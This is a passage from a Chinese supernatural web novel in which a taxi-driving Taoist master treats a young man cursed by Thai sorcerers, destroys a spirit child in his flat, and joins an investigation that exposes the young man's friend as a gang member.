古德发动车子,平稳地驶离了这条僻静的小路,汇入了主干道的车流中。
他打算一边开车,一边和后座的得仔聊聊,了解一下他的情况。
这可是个光明正大刷双倍公里点数的好机会,他可不会浪费。
车子开出去不到几百米,等周围环境相对安静下来后,古德透过后视镜看了一眼依旧紧张地缩在后座的得仔。
他抬起右手,再次结成剑指,也没回头,只是随意地朝着后座方向凌空轻轻一点。
“解。”
一股无形的法力波动掠过得仔的喉咙。
“呼——咳咳咳!”
得仔猛地吸了一大口气,随即爆发出一阵剧烈的咳嗽。
没一会,他好像活过来一样沙哑的道:“终……终于可以说话了!憋死我了!古大师!”
古德一边开着车,一边淡淡地问道,语气带着几分调侃:
“现在可以好好说话了。说吧,怎么搞成这副鬼样子的?我记得在暹罗分开的时候,不是给过你名片吗?不是跟你说过,遇到解决不了的怪事,就来找我吗?怎么,把我的话当耳
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旁风了?还是觉得我收费太贵?”
古德顿了顿,语气变得稍微严肃了一些:“要不是今天凑巧在路上碰到你,我看你再拖个一两天,怕是到时候身体都硬了。”
听到古德的话,得仔顿时露出一副比窦娥还冤的表情,急急忙忙地解释道,声音因为激动而有些结巴:
“不是的!古大师!我没有!我真的想找您啊!您给我的那张名片,我当时明明小心翼翼地收在钱包最里层的夹层里的!我可以对天发誓!”
他举起右手,做出发誓的姿势,脸上的表情认真:
“可是……可是不知道为什么,一回到香江,我再打开钱包找的时候,那张名片就……就怎么也找不到了!
就像是凭空蒸发了一样!我把整个钱包都翻遍了,连床底下、房间每个角落都找过了,就是找不到!古大师您一定要相信我!我要是有半句谎话,就让我天打雷劈,不得好死!”
古德看着他那急得快要哭出来的样子,无奈地摇了摇头。
怎么一个两个的,都这么喜欢发毒誓?
他又没说不相信。
不过,他也注意到,虽然在出租车的庇护下,得仔身上的阴气无法直接伤害他,但长时间被阴气侵蚀,已经严重影响了他的神智和思维,导致他说话有些颠三倒四,逻辑不清,情绪也极不稳定。
“行了行了,别发誓了。我信你。”
古德摆了摆手,打断了他。
然后,他右手再次抬起,这一次,他的指尖再次凝聚起一丝法力光芒。
他口中低声诵念起另一段咒文:
“太上台星,应变无停。智慧明净,心神安宁。敕!”
随着他一声低喝,那道柔和的清光射入得仔的眉心。
得仔浑身猛地打了一个哆嗦,仿佛三伏天被一盆清凉的井水从头浇到脚!
一股难以言喻的清凉气息迅速流遍全身,将他脑海中那团如同浆糊一般的混沌、焦躁和恐惧,瞬间驱散了大半!
他眨了眨眼睛,感觉自己的思绪一下子变得清晰了许多,之前那种昏昏沉沉、仿佛隔着一层**玻璃看世界的感觉也消失了。
虽然身体依旧虚弱,但精神上的重压,却减轻了不少。
他长长地舒了一口气,脸上露出一种劫后余生的疲惫和放松。
他看向古德的眼神,充满了感激和敬畏。
“谢谢……谢谢您,古大师……”
他的声音虽然依旧沙哑,但已经恢复了基本的条理。
“现在可以冷静下来,好好跟我说说到底发生什么事了吧?”
古德透过后视镜,看着他,语气平和地说道。
第223章 五十万的解决方案
车内安静了片刻,只有引擎平稳的运转声和窗外模糊的城市噪音。
得仔深深地吸了几口气,又缓缓吐出,努力平复着被清心咒安抚后依旧有些激荡的心绪。
古德施加的宁神法术效果显著,他感觉自己的头脑清醒了许多,虽然身体依旧虚弱,但那种如影随形的恐惧和思维混乱感减轻了大半。
他揉了揉还有些发胀的太阳穴,组织了一下语言,开始用带着疲惫和后怕的语调,缓缓讲述起回到香江后这短短几天内发生的诡异经历。
“古大师……事情是这样的。”
得仔的声音沙哑,“我和表姐从暹罗回来后,头一两天还算平静,虽然心里还是有点发毛,但总算没再看到什么……脏东西。我们以为离开那个鬼地方就没事了,还松了口气。”
“可是……从第三天开始,就不对劲了。”
他的声音开始微微发颤,眼神中流露出恐惧。
“先是……我总感觉有人在背后盯着我,一回头又什么都没有。有时候,明明在家里坐着,眼角的余光会瞥见客厅角落好像有个人影闪过,穿着……很像我那个在暹罗出了事的朋友常穿的衣服!可我猛地看过去,那里又空空如也……”
他咽了口唾沫,继续道。
“后来就更离谱了……大白天,太阳明晃晃的,我走在街上,都能看到一些……一些脸色惨白、样子很恐怖的鬼影,在路边飘来飘去,或者蹲在墙角盯着路人看……一开始我以为是自己眼花,可次数多了,我知道不是……”
“还有更邪门的!”
得仔的情绪有些激动起来。
“我好好地在便利店买东西,货架上的商品会突然掉下来砸到我头上!下楼梯的时候,会莫名其妙脚下一滑,差点摔下去!晚上睡觉,总觉得有冰冷的手在摸我的脚……我被弄得疑神疑鬼,都快神经衰弱了!”
他脸上露出心有余悸的表情。
“我……我实在受不了了,就想起在暹罗看过的那个《见鬼十法》……我……我试了里面那个‘倒头栽’……就是弯下腰从两腿之间往后看……”
他的声音变得极其恐惧:“结果……结果我真的看到了!就是那些躲在路边的孤魂野鬼!它们……它们就在我身边!对着我龇牙咧嘴地笑!它们好像……在故意捉弄我!”
“从那以后,我每天都觉得身体特别沉,像背了几十斤重的东西,浑身发冷,大夏天都要穿外套。而且……我发现,只要待在家里,那种被窥视、被捉弄的感觉就特别强烈,阴冷得厉害。
反而跑到街上人多的地方,虽然还是能看到那些东西,但感觉会好一点点……所以,我这几天根本不敢在家待,整天就在外面瞎逛,又累又怕……”
得仔说着,声音带上了哭腔,显得无比可怜。
说到这里,他像是想起了什么,连忙补充道:
“对了,古大师,不是我一个人这样!我表姐……她情况比我还糟!她吓得连门都不敢出了,整天缩在被子里发抖,一有点动静就尖叫,饭也吃不下,人都瘦脱相了……
我们俩现在晚上只好挤在一个房间睡,互相壮胆,但根本没用……我们……我们本来都商量好了,要是再没办法,明天就凑钱买机票,再回暹罗去找我们那个朋友长贵想想办法,他在那边认识些人,说不定有门路……”
古德一边平稳地开着车,一边静静地听着,手指偶尔轻轻敲击着方向盘。
当听到得仔说要回暹罗找那个朋友长贵时,他嘴角不禁勾起一抹略带嘲讽的冷笑。
“回暹罗?”
古德轻笑一声,摇了摇头,“你们这不是自投罗网,嫌命长吗?”
他透过后视镜瞥了一眼得仔茫然的表情,语气平淡却带着一丝洞察一切的意味:
“你仔细想想,你们一行四个人去暹罗,为什么偏偏是你们四个中了降头,惹上麻烦,而你那个朋友长贵却安然无恙?世上哪有这么巧的事?”
得仔闻言,猛地一愣,脸色瞬间变得惨白!
古德的话像是一道闪电,劈开了他心中的迷雾!
是啊,为什么长贵没事?为什么偏偏是他们四人……难道……
一个可怕的念头在他心中升起,让他不寒而栗。
古德继续道,印证了他的猜测:
“我原本以为,你们回到香江,离开了降头源头的地盘,情况会有所好转。现在看来,是我想简单了。
那个躲在暗处的降头师,手段比我想的还要刁钻,而且……他对你们是志在必得啊。连香江这边,他都做了布置,或者说……他本人,或者他的帮手,很可能已经跟着你们过来了。”
古德心中暗忖:
‘这么执着地要取这对普通姐弟的性命,
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肯定不是简单的仇杀。要么是他们的命格特殊,对那个降头师修炼的邪术有大用;要么就是他们无意中撞破了什么秘密,必须被灭口。看来,这趟浑水,比预想的要深。’
听完古德的剖析,得仔整个人都僵住了,冷汗瞬间湿透了后背。
他原本以为只是倒霉撞邪,没想到背后竟然隐藏着如此恶毒的阴谋和致命的杀机!
古德没有理会他的震惊,用一如既往的平静语气说道:“情况我大致了解了。现在,给你两个解决方案,价格不同,效果也不同,你自己选。”
一听到“价格”,囊中羞涩的得仔立刻回过神来,下意识地先问便宜的:“古大师,便……便宜的那个方案是……是多少钱?怎么弄?”
他声音带着忐忑。
古德目视前方,语气轻松地回答:
“便宜的,三万港币。我帮你解开身上的降头,驱散缠着你的那些小鬼,让你恢复正常,看不见那些东西,身体也能慢慢养回来。简单说,就是治标,保住你和你表姐的命,让你们以后能过普通人的日子。”
得仔一听,心脏猛地一跳!
三万港币,虽然对他而言也是一笔巨款,但拼命凑凑,找亲戚朋友借一借,或许还能勉强拿出来。
而且,只是解决“见鬼”的问题,恢复正常生活,这对他来说诱惑力太大了!
他几乎就要脱口而出选择这个方案。
但就在话要出口的瞬间,他脑海里忽然闪过古德刚才的话。
“那个降头师对你们是志在必得”。
一个念头冒了出来:如果只是治标,那个可怕的降头师会不会还不罢休,继续想办法害他们?古大师这样的人,怎么会无缘无故提供两个方案?贵的那个,肯定有贵的道理!
想到这里,得仔强行压下了立刻答应便宜方案的冲动,他深吸一口气,努力让自己冷静下来,小心翼翼地问道:“古大师……那……那贵的那个方案呢?是……是怎么样的?”
古德嘴角微不可查地向上弯了一下,对得仔能想到这一层表示了一丝赞许。
他继续说道:“贵的方案,五十万港币。这个价格,包含彻底解决问题。不仅帮你解降头,还会把那个躲在暗处要害你们的降头师揪出来,一劳永逸地解决这个后患。怎么样,考虑一下?”
“五……五十万?!”
第224章 再拐一个去异灵灵异
得仔失声惊呼,眼睛瞪得溜圆,差点从座位上弹起来!
这个数字对他来说简直是天文数字,把他卖了都凑不齐!
“还……还有降头师?!古大师,您……您是说,一直有降头师在背后害我们?!为……为什么啊?我们就是普通人,从来没得罪过这种人啊!”
他吓得声音都变调了。
古德淡淡地道:“邪魔外道害人,需要理由吗?或许你们的生辰八字符合他练某种邪术的要求,或许他需要你们的精血魂魄来续命或炼制什么东西。理由多的是,总之,你们被他盯上了。”
得仔听得浑身发冷,牙齿都开始打颤。
他此刻才真正意识到自己面临的处境有多么可怕!
这已经不是简单的撞邪,而是被一个心狠手辣的术士当成了猎物!
如果选择便宜的方案,就算暂时保住命,以后恐怕也要活在无尽的提心吊胆之中。
“大师!我选贵的!求求您,选贵的!一定要救救我们!”
得仔带着哭腔喊道,声音充满了绝望和哀求,“可是……可是五十万……我……我真的拿不出这么多钱啊……能不能便宜一些,我就是个普通打工仔,我表姐也是……就是把我们卖了也凑不齐啊……”
他急得都快哭了。
古德看着后视镜里得仔那副可怜巴巴的样子,心里觉得有些好笑。
他其实并不缺这五十万,开这个价,主要是符合他“古大师”如今的身价。
在这行当里混,面子有时候比里子更重要,办事太廉价了,反而容易让人看轻,觉得你道行不够。
这价钱,是行情,是规矩。
平心而论,五十万买回两条命,这买卖简直是白菜价,良心到不能再良心了。
这已经是看在得仔是前世电影中的熟人,给的友情骨折价了。
不过,钱不钱的,其实不是古德最在意的。
更重要的是,他心里早就有了另一个打算。
没错,古德正盘算着把得仔拐到谢潮的异灵灵异部门。
谢潮那家伙昨天还在抱怨,说他的异灵灵异部门人手紧缺,忙得脚打后脑勺,他也不给他拉新人。
古德这就给他送徒弟过去了。
得仔这小子,虽然现在看起来怂了吧唧的,但其实得仔也是有大号的,而且他的大号和谢潮还是师徒关系。
嘿,这不是巧了吗!
这缘分真是妙不可言。
而且古德也很想看看,周星星和得仔,这两只猴子相遇,会是什么有意思的场景。
“没钱啊……”
古德故意拉长了声音,慢悠悠的。
他透过镜子,清楚地看到得仔的脸随着他的话,以肉眼可见的速度垮了下去,眼神里的最后一点光也熄灭了,整个人像被抽走了骨头,软软地陷进座椅里。
欣赏够了这小子的窘迫,古德才不紧不慢地抛出后半句:
“没钱也好办。我给你介绍一份工作吧。福利待遇不错,工资也还行,时间相对自由,而且……有绩效提成。你可以用以后赚到的工资,慢慢还我这笔钱。怎么样,这算是条活路吧?”
得仔猛地抬起头,眼睛瞪得像铜铃,嘴巴张得能塞进一个鸡蛋!
他是不是因为太害怕出现幻听了?
在这种叫天天不应、叫地地不灵的绝境里,居然……居然还有这种好事?
不仅有机会解决要命的诅咒,还包分配工作?
这已经不是雪中送炭了,这简直是把他从冰窟窿里捞出来,直接送进了有暖气的桑拿房!
幸福来得太突然,砸得他头晕眼花。
但狂喜只持续了几秒钟,多年在社会底层摸爬滚打练就的警惕性又冒了出来。
世上哪有免费的午餐?
他舔了舔干裂的嘴唇,喉咙发紧,声音带着明显的颤抖和不确定:“大……大师,您……您没骗我吧?真有……这么好的工作?”
古德被他这话逗乐了,嗤笑一声,调侃道:“骗你?你看看你自己,浑身上下,有什么值钱的东西值得我费这么大劲骗你?骗你去挖矿我都嫌你力气小。”
得仔愣了一下,下意识地低头看了看自己洗得发白的T恤和旧牛仔裤,挠了挠头,憨憨地笑了:露出一个有点憨又有点窘的笑容:“好像……好像也是哦……”
这点自知之明他还是有的,自己除了这条惹上麻烦的小命,确实没啥可让人图谋的。
“行了,别傻笑了,先把眼前的麻烦解决掉。”
古德打断了他的自我检讨,语气恢复了平时的冷静和直接,“现在,先带我去你家看看。那个降头师既然能一直影响你们,说不定在你们家里动了什么手脚,留下了什么线索。地址告诉我。”
得仔连忙报出了一个位于九龙城附近的旧楼地址。
古德闻言,只是几不可察地挑了下眉梢。
九龙城那片地方,三不管地带演变而来,鱼龙混杂,气场混乱,确实是各种阴邪诡术滋生的温床。
谢潮那个家伙,好像也确实住在那一带,这巧合倒是有点意思。
他没再多问,干脆地一打方向盘,红色的出租车发出一阵沉稳的引擎声,利落地调转车头,汇入傍晚愈发拥挤的车流,朝着九龙城的方向驶去。
窗外是九十年代香江独有的浮世绘。
夕阳的余晖勉强穿透高楼间的缝隙,在拥挤的街道上投下狭长的光影。
更多的霓虹灯牌亮了起来,红的、绿的、蓝的,
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闪烁着“麻雀娱乐”、“押字当铺”、“正宗凉茶”的字样,看得人眼花缭乱。
路边大排档的炒锅哐当作响,镬气冲天,混合着潮湿空气里淡淡的汽车尾气和海腥味。
叮叮车慢悠悠地穿行,西装革履的白领与穿着汗衫拖鞋的街坊擦肩而过,构成一幅繁华又略显凌乱的都市图景。
大约二十多分钟后,车子驶入了一片楼龄颇老、外墙斑驳、密密麻麻如同鸽子笼般的旧式唐楼区域。
车子随着车流缓慢移动,大约二十多分钟后,终于驶离主干道,拐进了一片楼宇更为密集、街道更为狭窄的区域。
这里的建筑明显上了年纪,外墙斑驳,布满水渍和顽强的爬藤植物,窗户密密麻麻,很多还装着老式的绿色铁窗。
又开了一会儿,古德按照得仔的指引,将车停在了一条光线昏暗的后巷口。
巷子很窄,勉强能容一辆车通过,另一边停满了蒙着厚厚灰尘的摩托车和自行车。
墙角堆着些废弃的家具、破损的陶盆和黑色的垃圾袋,一股潮湿的霉味混合着食物**的酸馊气隐隐飘来。
“到了,大师,就是这栋楼。”
得仔指着旁边一栋约有十层高的旧唐楼说道。
楼体是那种经典的骑楼结构,底层是家光线昏黄的跌打医馆,玻璃橱窗里摆放着药材和人体经络图,招牌上的字迹都已斑驳。
古德熄了火,拔下车钥匙。
然后,他非常自然地地转过身,先对着副驾驶的阿草打了个响指,平静地说:“车费。”
阿草似乎早已习惯,乖巧地从身上一个小巧的零钱包里拿出钱,放在古德手上。
接着,古德又转向后座的得仔,同样言简意赅:“还有你的。”
得仔彻底懵了,张大了嘴巴,半天没反应过来。
这……这都生死关头了,大师您还惦记着收车费呐?!
而且刚才不是还在谈五十万的大生意吗?
怎么转眼就算起这一百块的车钱了?
古德看着得仔那副呆若木鸡的样子,皱了皱眉:
“怎么?坐车不用给钱啊?这是规矩。快点,给你看完我还要继续出车呢。”
“啊?哦!哦!给!给!”
得仔这才如梦初醒,手忙脚乱地在身上摸索起来,凑齐了车费,颤巍巍地递给古德,心里还在嘀咕:
这大师……行事作风真是让人摸不着头脑。
古德熟练地将钱收好,然后推开车门下车,对还在发愣的得仔道:
“还愣着干什么?带路啊。”
“哦!好!好!大师这边请!”
得仔这才慌忙下车,带着古德和阿草,走向那栋散发着陈旧和些许阴森气息的唐楼入口。
第225章 得仔房间里的是....
古德跟着得仔,走进了那栋显得颇为破败的旧唐楼。
楼道里光线昏暗,只有几盏瓦数很低的灯泡散发着昏黄的光,勉强照亮脚下狭窄而陡峭的水泥楼梯。
空气中弥漫着一股潮湿的霉味,混合着老旧建筑特有的灰尘气息,以及一丝若有若无的阴冷味道。
虽然是白天,但楼道里显得异常安静,只有他们几人的脚步声在空旷的空间里回荡。
经过一些敞开着门的单元时,可以看到里面一些穿着朴素的住户正用好奇、麻木或警惕的目光打量着他们这几个生面孔。
这里的居住环境显然很差,租金便宜,是许多底层市民和孤寡老人的栖身之所。
然而,在古德阴阳眼视野中,这条楼道远非看上去那么冷清。
除了这些活人住户,在楼梯的转角阴影里、天花板的角落、甚至一些紧闭的房门后,都隐隐绰绰地晃动着一些模糊、透明的虚影。
那是些因为各种原因滞留在此地的游魂野鬼。
它们大多能量微弱,只是本能地徘徊在生前熟悉或死亡的地方,对生人并没有太大的恶意,但也绝谈不上友好。
整个楼道,几乎呈现出一种人鬼杂居的诡异状态。
有几个胆大的鬼魂,似乎感应到古德身上不同于常人的气息,好奇地从墙壁里探出半个身子张望。
古德眉头微皱,他不想节外生枝,也不想这些弱小的鬼物惊扰到普通住户。
他不动声色地从随身挎包里摸出几张最低阶的收鬼符,手腕轻轻一抖,符纸便化作几道微不可查的黄光,精准地射向那几个探头探脑的鬼魂。
符光及体,那些弱小的鬼魂连惨叫都来不及发出,便被吸入符中,化作了符纸上几道淡淡的扭曲痕迹。
古德随手将收回的符纸揣回兜里,动作流畅自然。
整个过程中,他脚步甚至都没有丝毫停顿。
旁边的得仔和阿草对此毫无察觉,只有个别感觉敏锐的住户似乎觉得刚才楼道里好像莫名地清爽了一点,但也没太在意。
在得仔的带领下,他们沿着吱呀作响的木板楼梯上到四楼,来到走廊末尾一个房门漆皮剥落看起来十分简陋的单位前。
得仔掏出钥匙,有些费力地打开那把看起来也不太牢靠的旧锁。
门一推开,一股浓郁的混合着汗味食物残渣味和一种阴冷气息扑面而来。
房间非常狭小,大概只有十几平米左右,除了一张凌乱的铁架床、一张破旧的书桌电视和一个小衣柜,几乎再放不下别的家具。
窗户紧闭着,拉着厚厚的已经看不出原本颜色的窗帘,使得房间内异常昏暗和压抑。
古德的目光第一时间就锁定了房间内侧那张凌乱地铺着被褥的铁架床。
在他的视野中,床上并非空无一物。
有一个大约三四岁孩童,它皮肤呈现一种不健康的青灰色,双眼全黑,穿着破旧红色肚兜的小鬼魂,正旁若无人地坐在床铺上,用自己的小爪子一下下地拍打着枕头,发出无声的嬉笑,玩得不亦乐乎。
这小鬼身上散发出的阴气浓度,赫然已经达到了恶鬼的级别!
通常这种级别的鬼物,若是心存恶念,足以对普通人造成严重的伤害,甚至致死。
但奇怪的是,得仔和他表姐虽然被折磨得精神萎靡元气大伤,却显然没有被直接害死。
更让古德注意的是,这小鬼的形态和散发出的能量波动,带着一种明显的异域邪法气息。
那气息并非香江常见的厉鬼,更像是暹罗那边降头师炼制的古曼童!
那小鬼似乎察觉到有人进来,停下了拍打枕头的动作,抬起那双没有眼白的漆黑眸子,冷漠地扫了古德、得仔和阿草一眼。
它的眼神中没有任何恐惧或者警惕,反而带着一种居高临下的漠然和一丝有恃无恐。
仿佛认定眼前这几人根本无法对它造成任何威胁。
古德眼中寒光一闪而逝。
他最讨厌这种自以为是的邪祟。
没有任何预兆,古德的身影一晃,瞬间跨越了短短几米的距离,出现在了床边!
他的右手快如闪电般探出,手掌上笼罩着一层淡淡的却蕴含破邪之力的金光,精准无比地一把扼住了那小鬼的咽喉,将它如同拎小鸡一般从床上提了起来!
“呃啊!!!”
那小鬼显然没料到古德的速度如此之快,手段如此直接!
它先是一愣,随即暴怒起来!
发出一声尖锐刺耳直击灵魂的嘶嚎!
周身阴气疯狂涌动,试图挣扎反抗!
那声音蕴含着精神冲击,若是普通人听到,恐怕会瞬间头晕目眩,心神受损。
但古德只是眉头微皱,似乎觉得有些吵闹。
他二话不说,抬起左手,反手就是一个带着金光的巴掌,结结实实地扇在了那小鬼的脸上!
“啪!”
一声清脆的响声,并非物理上的接触声,而是法力与阴气碰撞产生的爆鸣!
小鬼的尖叫声戛然而止,它似乎被这一巴掌打懵了,原本凶戾的眼神中浮现出一丝难以置信和畏惧,挣扎的力道也瞬间小了很多,变得老实起来。
古德将它拎到眼前,目光冰冷地盯着它那双漆黑的眸子,用带着不容置疑威严的语气,直接用精神力
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传递意念问道:
“说!你的主人在哪里?藏在什么地方?”
那小鬼的眼睛滴溜溜地乱转,黑色的瞳孔中闪过一丝狡诈和怨毒的光芒,显然是在飞快地思索着如何蒙混过关或者施展什么诡计。
古德顿时有些不耐烦了。
他掐住小鬼脖子的右手,金色光芒骤然变得明亮了一些,五指开始缓缓收紧!
一股灼热而充满毁灭气息的纯阳法力开始侵蚀小鬼的魂体!
“滋滋……”
仿佛烧红的烙铁烫在冰块上,小鬼的脖颈处冒起了淡淡的黑烟!
一股源自灵魂本源的剧烈痛楚瞬间席卷了它!
“哇啊啊啊!!!!”
小鬼发出了更加凄厉恐怖的惨叫,身体剧烈地抽搐起来,脸上终于露出了极度恐惧的神色!
它张开嘴,叽里呱啦地说出了一连串急促而古怪的语言,声音充满了哀求和讨饶的意味。
是暹罗语。
不过这小鬼说的暹罗语语种太过冷门,古德竟然一个字也听不懂。
他皱了皱眉,正想是不是要用更直接的手段,例如搜魂。
虽然这样可能会损坏部分记忆碎片。
这时,一直安静站在一旁的阿草,轻笑着走上前一步,对古德说道:
“老板,这种沟通的小事,何必您亲自费心?让我来试试吧。我对读取这种低阶灵体的表层记忆,还算有点心得。”
古德闻言,眉头一挑,有些意外地看了阿草一眼。
没想到这黑鼠尾草魔还有这种偏门的能力?
看来收下她当助手,确实能省不少麻烦。
他点了点头,松开了些许力道,但右手依旧控制着小鬼,对阿草示意道:“好,你看看它知道些什么。”
阿草嫣然一笑,伸出纤细的食指。
指尖处,一缕极其细微、如同黑色发丝般的魔气缓缓渗出,带着一种奇特的迷惑和渗透之力。
她将这缕魔气,轻轻点在了那小鬼因为恐惧而剧烈颤抖的眉心正中。
魔气注入,小鬼的身体猛地一僵,双眼中的神采瞬间变得空洞迷茫起来。
阿草则微微闭上眼睛,似乎在仔细感知和解读着小鬼魂体中流淌的记忆信息。
站在门口附近的得仔,虽然看不见被古德法力禁锢的小鬼,但能清晰地看到古德手上泛起的金光,以及空气中突然降低的温度和那种令人心悸的压迫感。
他吓得大气都不敢出,死死地捂住自己的嘴巴,缩在门框边,身体不受控制地微微发抖。
但同时,一种前所未有的安全感也油然而生。
有这种高人在,自己应该有救了吧?
第226章 竟然是同一伙人
片刻之后,阿草睁开了眼睛,收回了那缕魔气。
她脸上的表情显得有些古怪,似乎看到了什么出乎意料又在意料之中的信息。
她看向古德,语气有着些许无语:
“老板,查到了。有意思的是,这家伙的主人,和我们刚才遇到的那群新死小鬼的源头,是同一伙人。”
古德目光一凝:
“哦?具体点。”
阿草组织了一下语言,继续说道:
“读取到的记忆碎片显示,控制这古曼童的,是一个大概六十多岁的暹罗老头,肤色黝黑,隐藏在暹罗国开书店的,其实是一位降头师。
他身边还跟着一个老太婆,以及几个年轻的暹罗男子。他们现在就藏在刚才我们离开的那个旧社区里。”
她顿了顿,补充了最关键的信息:
“而且,记忆碎片里有一些模糊的画面,就是那个社区里死的十几个小孩……的确就是这伙人干的!
他们杀害了那些孩子,似乎是为了让这个老头延长寿命,也有一部分是想制造这古曼童,似乎香江的小孩子更有灵性,更适合。”
古德听完,面无表情地点了点头,眼中却闪过一丝冰冷的杀意。
“果然如此。看来这群暹罗来的过江虫,是真把香江当成他们可以随意撒野的法外之地了。也就懂点旁边左道的邪修,惹事的本事和胆子倒是不小。”
他原本还想多问些细节,比如对方的具体藏身点、实力如何等等。
但就在此时,他随身挎包里的那个翻盖手机,突然“嗡嗡嗡”地剧烈震动起来,铃声在寂静的房间里显得格外刺耳。
古德示意阿草稍等,另一只手依旧控制着不断挣扎的小鬼,用空着的左手从挎包里掏出手机,掀开盖子一看,来电显示正是“谢潮”。
他按下接听键,将手机放到耳边:“喂,阿潮,怎么样?”
电话那头,传来谢潮略带疲惫的声音:
“阿德,你提供的地点我们查过了。妈的,竟然是暹罗那边流窜过来的降头师团伙搞的鬼!我们突击了他们的一个临时窝点,抓了三四个人,都是些小喽啰。
不过……根据现场痕迹和初步审讯,他们的头目,一个老家伙,好像提前收到了风声,跑掉了!你要不要过来看看?现场有些东西……有点邪门,你来看看可能更清楚。”
古德眼中精光一闪。
谢潮他们的行动效率果然很高!
虽然跑掉了主犯,但能这么快端掉一个窝点,已经算是重大进展了。
那个跑掉的老头,十有**就是给《见鬼十法》下咒、炼制这古曼童的正主。
那个暹罗书店老板兼降头师!
“好,我知道了。我这边也有点发现,正好对得上。我马上过去。”古德简短地回应道。
挂断电话后,古德看了一眼手中还在微微挣扎的小鬼。
这种以邪法炼制、沾染了无辜孩童性命的古曼童,早已灵性扭曲,无法超度,留在世上也只是个祸害。
他不再犹豫,掐住小鬼脖子的右手猛然金光大盛!
如同一个小型的太阳在他掌心爆发!
“噗……”
一声轻微的、如同气泡破裂的声响。
那小鬼连最后的惨叫都没能发出,便在至阳至刚的法力净化下,瞬间飞灰湮灭,化作一缕青烟,彻底消散在空气中。
算是彻底解脱,尘归尘,土归土。
解决完这个小麻烦,古德并没有立刻动身。
他心念沉入系统界面。接下来要去对付的是专业的降头师,虽然实力估计强不到哪去,但手段可能比较诡秘阴毒。
之前加点的《炁体源流》里是包罗万象,对降头蛊术有所提及,但毕竟不够专精。
技能树上,正好有【旁门降头术详解】和【蛊术详解】这两项。
之前因为觉得有些偏门,且提升法力境界是
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首要任务,所以一直没加点。
现在正好用得上,而且刚才出车赚的公里数也够了。
“系统,提升【旁门降头术详解】到LV2。”
“提升【蛊术详解】到LV2。”
随着他意念下达,系统界面上,可用公里点数瞬间减少了220点。
原本今天带着阿草跑车,刚好进账了220多点,这一下子又回到了1122点。
紧接着,一股庞大而复杂的信息流如同开闸的洪水般涌入古德的脑海!
无数关于降头术的起源、流派、各种阴毒降头的炼制手法、下降方式、特征以及破解之法,还有各种蛊虫的培养、控制、运用及其反制手段……
这些知识并非简单的文字描述,而是蕴含着大量的实践经验、运转技巧和独门诀窍,仿佛是他经过了数年的刻苦钻研才掌握的一般!
古德站在原地,微微闭目消化了短短几秒钟。
当他再次睁开眼时,眼神变得更加深邃,对于降头蛊术这一邪道领域的认知,已然达到了一个相当精深的程度。
现在再去对付那个暹罗降头师,他更有把握了,甚至能看出更多门道。
“走吧。”
古德对站在一旁、依旧有些惊魂未定的得仔说道,“你的事情有眉目了。害你的那帮人,异灵灵异部门已经动手抓了一部分,虽然主犯跑了,但也蹦跶不了多久了。顺便,带你去见见你以后的领导。”
“啊?领……领导?”
得仔一脸茫然,还没完全从刚才的惊吓回过神来。
古德却没再多解释,转身率先走出了这个充满阴晦气息的小房间。
阿草紧随其后。得仔愣了一下,也赶紧小跑着跟了上去。
三人下楼,重新坐进了那辆红色的出租车。
古德发动车子,熟练地调头,朝着谢潮他们所在的旧社区方向驶去。
车窗外,香江的街景飞速掠过。
第227章 得仔:怎么是你?
出租车在傍晚的余晖中,驶入了那片位于荃湾边缘、显得有些破败和陈旧的社区。
与几小时前古德离开时相比,此刻社区入口处的气氛已然大变。
几辆没有警用标识但车型统一的深色面包车停在路边,车顶放着临时警示灯,无声地闪烁着蓝红光芒。
社区那栋目标楼房的入口处,已经拉起了醒目的黄色警戒带,几名穿着异灵灵异部门后勤部黑色制服,神情严肃的队员守在警戒线外,警惕地注视着周围。
一些被临时疏散的居民聚在不远处,交头接耳,脸上带着好奇、不安和些许抱怨。
古德的车刚停稳,守在警戒线旁的一名后勤队员就认出了他,立刻恭敬地拉开警戒带,示意他们进去。
古德对此早已习惯,点了点头,便带着一脸紧张又好奇的得仔,以及神态自若的阿草,径直走进了楼内。
楼道里比之前更加灯火通明,临时拉设的照明灯将原本昏暗的角落也照得清晰可见。
空气中弥漫着一股淡淡的、尚未完全散去的硝烟味和一丝若有若无的腥臭气息,显然不久前这里发生过冲突。
几名后勤队员正在小心翼翼地收集地面和墙壁上的痕迹。
谢潮的临时指挥点设在一楼一个相对宽敞的单元房内,这里原本似乎是嫌疑人使用的据点之一。
门口搭起了一个简易的军用帐篷,用作临时审讯和物品存放。
古德掀开帐篷的门帘,走了进去。
帐篷内部空间不大,灯光下,只见谢潮、周星星、郑立等几个核心成员都在。
地上蹲着三个被反铐双手、垂头丧气的男子,看面相和衣着,明显是东南亚一带的人种,应该就是被抓的暹罗降头师团伙成员。
古德还没来得及开口说话,跟在他身后进来的得仔,目光扫过那三个被抓的人时,突然像是被雷劈中一样,猛地瞪大了眼睛,伸手指着其中一人,失声惊呼道:
“长贵?!怎么……怎么会是你?!”
被他指着的那个年轻人,看起来二十出头,皮肤黝黑,身材干瘦,听到叫声,身体一颤,抬起头来,看到得仔,脸上瞬间闪过极度复杂的神色。
有惊讶,有羞愧,但更多的是一种麻木和认命。
他张了张嘴,最终却什么也没说,又深深地低下了头。
古德看到这一幕,嘴角勾起一抹了然的笑意,语气带着几分调侃,对身旁目瞪口呆的得仔说道:
“看来,你在暹罗的这位好朋友不仅是参与者,还是幕后黑手。现在明白了吧,为什么那本《见鬼十法》会那么巧地让你们一起使用?”
得仔如遭重击,脸色瞬间变得惨白,嘴唇哆嗦着,看着那个曾经一起喝酒吹牛、称兄道弟的朋友,眼中充满了难以置信的震惊和被背叛的痛苦。
他喃喃道:“为什么……长贵……我们……我们不是朋友吗……”
那个叫长贵的年轻人,始终低着头,不敢与得仔对视。
这时,谢潮迎了上来,他脸上带着一丝疲惫,但眼神依旧锐利。
他先是对古德点了点头,算是打过招呼,然后直接切入正题,语气凝重地说道:
“阿德,你来得正好。我们突袭了这个窝点,抓了这三个,但根据他们的交代和现场痕迹来看,主犯是一个老降头师,还有他的几个核心手下,在我们到来前大概十分钟左右,像是收到了什么风声,提前从后门溜了,跑得无影无踪。”
他皱着眉头,显得有些懊恼:
“这老家伙很狡猾,反侦察意识很强,我们的人正在扩大搜索范围,但香江这么大,鱼龙混杂,他要是存心躲起来,短时间内很难挖出来。你有没有什么办法,能尽快找到他?免得他狗急跳墙,再害人。”
古德闻言点了点头,语气平静地回答:
“追踪的法子倒是有。不过,需要一件沾染了那个老降头师比较浓烈气息的物品,或者他长期使用过的贴身用品之类的东西。”
谢潮沉思了几秒钟,随即转身对周星星吩咐道:
